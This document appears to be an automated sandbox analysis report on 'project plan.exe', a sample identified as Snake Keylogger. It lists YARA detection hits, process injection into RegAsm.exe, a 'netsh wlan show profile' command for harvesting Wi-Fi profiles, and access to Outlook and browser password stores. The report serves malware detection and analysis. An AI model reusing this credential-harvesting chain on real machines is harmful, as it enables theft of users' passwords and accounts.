Static PE information: No import functions for PE file found

Source: project plan.exe, 00000000.00000000.1960972899.0000016754A42000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameIrulogixihejo> vs project plan.exe
Source: project plan.exe, 00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs project plan.exe
Source: project plan.exe, 00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameEcozezoviD vs project plan.exe
Source: project plan.exe, 00000000.00000002.2171707647.000001676EE60000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameEcozezoviD vs project plan.exe
Source: project plan.exe	Binary or memory string: OriginalFilenameIrulogixihejo> vs project plan.exe

Source: 0.2.project plan.exe.16766a241c0.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.project plan.exe.16766a241c0.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.project plan.exe.16766a241c0.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.project plan.exe.16766a241c0.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.project plan.exe.16766a04378.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.project plan.exe.16766a04378.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.project plan.exe.16766a04378.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.project plan.exe.16766a04378.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.project plan.exe.16766a04378.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.project plan.exe.16766a04378.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.project plan.exe.16766a04378.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.project plan.exe.16766a04378.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.project plan.exe.16766a241c0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.project plan.exe.16766a241c0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.project plan.exe.16766a241c0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.project plan.exe.16766a241c0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: project plan.exe PID: 1536, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: project plan.exe PID: 1536, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: RegAsm.exe PID: 6132, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: RegAsm.exe PID: 6132, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger

Source: 0.2.project plan.exe.16766a04378.1.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.project plan.exe.16766a04378.1.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.project plan.exe.16766a04378.1.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.project plan.exe.16766a241c0.3.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.project plan.exe.16766a241c0.3.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.project plan.exe.16766a241c0.3.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.project plan.exe.16766a04378.1.raw.unpack, --.cs	Base64 encoded string: 'm6Xg2C2DGO3mlPcQp6s/LfmmtF6ui+8+Ju7mZMwu4ysjUr0OlymEIhyOhsWptaJK'
Source: 0.2.project plan.exe.16766a241c0.3.raw.unpack, --.cs	Base64 encoded string: 'm6Xg2C2DGO3mlPcQp6s/LfmmtF6ui+8+Ju7mZMwu4ysjUr0OlymEIhyOhsWptaJK'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@10/5@2/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3504:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1536
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1568:120:WilError_03

Source: C:\Windows\System32\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\7da7a6c0-778d-46da-af75-79ac18eb5ec4

Jump to behavior

Source: project plan.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: project plan.exe

Static file information: TRID: Win64 Executable Console Net Framework (206006/5) 48.58%

Source: C:\Users\user\Desktop\project plan.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegAsm.exe, 00000003.00000002.3221467298.0000000002E1D000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3221467298.0000000002DC2000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3222412002.0000000003CFB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3221467298.0000000002E2A000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3221467298.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3221467298.0000000002DB2000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\project plan.exe

File read: C:\Users\user\Desktop\project plan.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\project plan.exe "C:\Users\user\Desktop\project plan.exe"
Source: C:\Users\user\Desktop\project plan.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\project plan.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Source: C:\Users\user\Desktop\project plan.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Source: C:\Users\user\Desktop\project plan.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1536 -s 1028
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\netsh.exe "netsh" wlan show profile
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\project plan.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\netsh.exe "netsh" wlan show profile	Jump to behavior

Source: C:\Users\user\Desktop\project plan.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior

Source: C:\Users\user\Desktop\project plan.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\project plan.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: project plan.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: project plan.exe

Static file information: File size 2939959 > 1048576

Source: project plan.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: project plan.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Windows.Forms.pdb source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: mscorlib.pdb source: WERDE5D.tmp.dmp.7.dr
